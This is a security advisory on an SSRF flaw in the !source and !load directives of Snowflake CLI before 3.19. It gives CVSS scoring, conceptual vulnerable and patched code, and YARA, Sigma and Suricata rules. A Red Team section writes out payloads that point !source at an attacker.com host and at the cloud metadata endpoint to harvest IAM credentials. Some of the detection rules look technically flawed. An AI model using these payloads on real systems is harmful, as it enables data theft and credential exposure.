CVE-2026-13751

Executive Summary

CVE-2026-13751 is a Server-Side Request Forgery (SSRF) vulnerability in Snowflake CLI versions prior to 3.19. The vulnerability exists in the SQL statement reader's !source and !load directives, which can reference remote URLs that are retrieved at runtime without sufficient restriction on the request destination. An attacker can craft malicious SQL content that, when processed through a vulnerable command path, causes the victim's environment to issue unintended outbound requests to internal or otherwise non-public network locations. Additionally, remote SQL content can be retrieved and executed in the context of the victim user's session. Successful exploitation requires the victim to process attacker-controlled content through a vulnerable command path and is limited by the privileges available to that session and environment. The fix is available in Snowflake CLI version 3.19, which adds an option to disable remote URL retrieval.

Supply Chain & Package Security

This vulnerability affects the Snowflake CLI tool, which is distributed as a standalone binary or via package managers. Organizations should verify the integrity of their Snowflake CLI installations and ensure they are using version 3.19 or later. The vulnerability does not directly impact the Snowflake cloud service itself but rather the client-side tool used to interact with it.

CVSS Breakdown & Threat Level

CVSS Score: 4.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited over a network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): None - No authentication is required to trigger the vulnerability.
• User Interaction (UI): Required - The victim must process attacker-controlled content through a vulnerable command path.
• Scope (S): Unchanged - The vulnerability does not affect resources beyond the victim's session.
• Confidentiality (C): Low - Limited information disclosure is possible.
• Integrity (I): Low - Limited data modification is possible.
• Availability (A): None - No impact on system availability.

Threat Level: Medium. While the CVSS score is relatively low, the SSRF nature of the vulnerability can be leveraged for more severe attacks, such as internal network reconnaissance or accessing cloud metadata endpoints.

Deep Dive & Mechanics

The vulnerability resides in the SQL statement reader component of Snowflake CLI. The !source and !load directives are used to include or load SQL content from external sources. In vulnerable versions, these directives can reference remote URLs (e.g., http://, https://, ftp://) without proper validation of the destination.

When a user executes a SQL script containing a malicious !source or !load directive pointing to an attacker-controlled URL, the CLI will make an outbound HTTP request to that URL. The response is then processed as SQL content. This allows an attacker to:

1. SSRF: Force the victim's environment to make requests to internal network resources (e.g., http://169.254.169.254/ for cloud metadata, internal APIs, or other services).
2. Remote Code Execution (via SQL): Retrieve and execute arbitrary SQL commands from a remote server, potentially leading to data exfiltration or unauthorized actions within the Snowflake environment.

The vulnerability is limited by the privileges of the victim's session and the network access of the victim's environment. However, it can be chained with other vulnerabilities for more significant impact.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.19): The !source and !load directives accept any URL without restriction. The CLI makes an HTTP request to the specified URL and processes the response as SQL.

# Vulnerable implementation (conceptual)
def process_directive(directive, url):
    if directive in ['!source', '!load']:
        response = requests.get(url)  # No validation of URL
        execute_sql(response.text)

Patched Code (3.19+): The patched version adds an option to disable remote URL retrieval. By default, remote URLs may still be allowed, but administrators can set a configuration option to block them.

# Patched implementation (conceptual)
def process_directive(directive, url, allow_remote=False):
    if directive in ['!source', '!load']:
        if not allow_remote and url.startswith(('http://', 'https://', 'ftp://')):
            raise ValueError("Remote URL retrieval is disabled")
        response = requests.get(url)
        execute_sql(response.text)

The fix introduces a configuration option (e.g., --disable-remote-urls or a config file setting) that prevents the CLI from making outbound requests to remote URLs.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Victim running Snowflake CLI version < 3.19
• Victim processes attacker-controlled SQL content (e.g., via a shared script, email attachment, or compromised repository)

Exploitation Steps:

1. Craft Malicious SQL Content: Create a SQL file with a !source directive pointing to an attacker-controlled server.

   !source http://attacker.com/malicious.sql
   SELECT 1;
   

2. Host Malicious SQL on Attacker Server: On the attacker's server, host a file that contains SQL commands to exfiltrate data or perform unauthorized actions.

   -- malicious.sql
   SELECT * FROM sensitive_table;
   

3. Deliver Malicious Content: Send the crafted SQL file to the victim via email, shared drive, or other means.

4. Trigger Exploitation: When the victim runs the SQL file using Snowflake CLI, the CLI will fetch the remote SQL content and execute it.

   snowsql -f malicious.sql
   

Advanced SSRF Exploitation: For SSRF, point the !source directive to internal resources.

!source http://169.254.169.254/latest/meta-data/

This could expose cloud instance metadata, including IAM credentials.

Blue Team

Detection:

• Monitor outbound HTTP requests from Snowflake CLI processes to unexpected destinations.
• Look for SQL files containing !source or !load directives with remote URLs.
• Review Snowflake CLI logs for warnings or errors related to remote URL retrieval.

Prevention:

• Upgrade to Snowflake CLI version 3.19 or later.
• Enable the option to disable remote URL retrieval in the CLI configuration.
• Restrict network access for Snowflake CLI processes using firewall rules or network policies.
• Educate users about the risks of running untrusted SQL scripts.

Hunting:

• Search for !source and !load directives in SQL files across the organization.
• Analyze network logs for connections to unusual external IPs from Snowflake CLI hosts.
• Review Snowflake query history for unexpected SQL commands that may have been injected via this vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests from Snowflake CLI to unexpected external IPs or domains.
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254, metadata.google.internal).
  • Connections to attacker-controlled servers hosting malicious SQL content.

• File IOCs:

  • SQL files containing !source or !load directives with remote URLs.
  • Suspicious SQL files with unexpected content or from untrusted sources.

• Log IOCs:

  • Snowflake CLI logs showing errors or warnings about remote URL retrieval.
  • System logs showing Snowflake CLI making outbound connections to unusual destinations.

Detection Engineering

YARA Rule

rule CVE_2026_13751_Snowflake_CLI_SSRF {
    meta:
        description = "Detects SQL files containing !source or !load directives with remote URLs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-13751"
        severity = "medium"
    strings:
        $source = /!source\s+https?:\/\// nocase
        $load = /!load\s+https?:\/\// nocase
        $ftp = /!(source|load)\s+ftp:\/\// nocase
    condition:
        any of ($source, $load, $ftp)
}

Sigma Rule

title: Snowflake CLI SSRF via !source/!load Directives
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects outbound HTTP requests from Snowflake CLI to unexpected destinations
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13751
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\snowsql.exe'
        DestinationPort: 80 or 443
    filter:
        DestinationHostname|endswith: '.snowflakecomputing.com'
    condition: selection and not filter
falsepositives:
    - Legitimate use of !source/!load with allowed remote URLs
level: medium
tags:
    - attack.t1190
    - cve.2026.13751

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-13751 - Snowflake CLI SSRF via !source/!load"; flow:to_server; content:"!source"; http_uri; nocase; content:"!load"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snowflake CLI to version 3.19 or later.
2. Enable the option to disable remote URL retrieval in the CLI configuration.
3. Review and restrict network access for Snowflake CLI processes.

Long-term Measures:

• Implement strict input validation for all CLI directives.
• Use network segmentation to limit outbound access from development environments.
• Educate users on the risks of running untrusted SQL scripts.
• Monitor for suspicious activity related to Snowflake CLI usage.

Workarounds:

• If upgrading is not immediately possible, disable the use of !source and !load directives in your environment.
• Use a web proxy to block outbound requests from Snowflake CLI to non-approved destinations.

Valters IT